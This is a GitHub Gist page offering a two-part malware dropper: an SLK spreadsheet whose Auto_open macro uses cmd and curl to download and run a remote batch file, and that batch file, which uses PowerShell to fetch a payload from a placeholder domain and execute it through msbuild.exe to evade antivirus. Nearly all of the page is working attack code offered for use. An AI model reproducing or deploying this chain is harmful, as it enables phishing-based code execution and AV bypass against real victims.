Last active
February 27, 2020 16:08
-
-
Save wsummerhill/3d40f2cff4f4020874a2256ce15306cd to your computer and use it in GitHub Desktop.
Excel SLK file with remote .bat script for payload execution and AV bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@ECHO OFF | |
powershell -ep 1 -c (new-object Net.WebClient).DownloadFile(\"https://YourDomain.org/payload.xml\",\"$env:TMP\Debug.tmp\") | |
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe %temp%\Debug.tmp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ID;P | |
O;E | |
NN;NAuto_open;ER101C1;KOut Flank;F | |
C;X1;Y101;K0;EEXEC("cmd /c curl https://YourDomain.org/test.bat -o %temp%\test.bat & %temp%\test.bat") | |
C;X1;Y102;EHALT() | |
E |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment